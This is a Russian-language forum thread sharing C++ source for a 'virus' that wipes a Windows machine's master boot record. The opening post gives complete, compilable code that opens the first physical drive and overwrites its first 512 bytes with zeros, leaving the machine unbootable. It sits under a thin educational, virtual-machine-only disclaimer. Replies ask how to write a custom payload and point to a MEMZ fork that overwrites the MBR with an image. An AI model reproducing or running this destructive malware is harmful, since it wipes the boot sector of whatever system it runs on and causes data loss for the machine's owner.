Загрузка...

Virus that erases the MBR | C++

Thread in C/C++ created by muhtarstudio Sep 13, 2022. 930 views

  1. muhtarstudio
    muhtarstudio Topic starter Sep 13, 2022 5 Aug 20, 2022
    ВНИМАНИЕ! Автор не несёт ответственности за ваши действия, вирус был создан для того чтобы понять как работают вирус из нутри, и проверять этот вирус нужно только на виртуальной машине! ВНИМАНИЕ!

    Что нам понадобится ?
    • Visual Studio.
    • Прямые руки.
    • Эта статья
    Код:
    C
    #include <iostream>
    #include <windows.h>

    #define MBR_SIZE 512

    using namespace std;

    int main()
    {
    DWORD write;

    char mbr[MBR_SIZE];

    ZeroMemory(&mbr, (sizeof mbr));

    HANDLE MasterBootRecord = CreateFile(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);

    if (WriteFile(MasterBootRecord, mbr, MBR_SIZE, &write, NULL) == TRUE)
    {
    cout << "Succsessfuly!" << endl;

    Sleep(3000);

    ExitProcess(0);
    }
    else
    {
    cout << "Failed!" << endl;

    Sleep(3000);

    ExitProcess(0);
    }

    CloseHandle(MasterBootRecord);

    return 0;
    }
     
  2. unnamed001
    unnamed001 Sep 15, 2022 5996 Sep 2, 2020
    спасибо за гайды по использованию windows api
     
  3. ekstador
    ekstador Sep 15, 2022 381 Aug 23, 2017
    МБР = Минет без резинки
     
  4. proha_999
    proha_999 Dec 22, 2024 0 Jul 17, 2022
    Слушай, а как сделать свой буфер, например с текстом
     
    1. ldapADFS
      proha_999, попробуй в этом проекте поглядеть на сырцы, там MBR перезаписывается картинкой с нян-кэтом, но там половина кода на ассембли написана

      https://github.com/serbinskis/memz-fork
Loading...
Top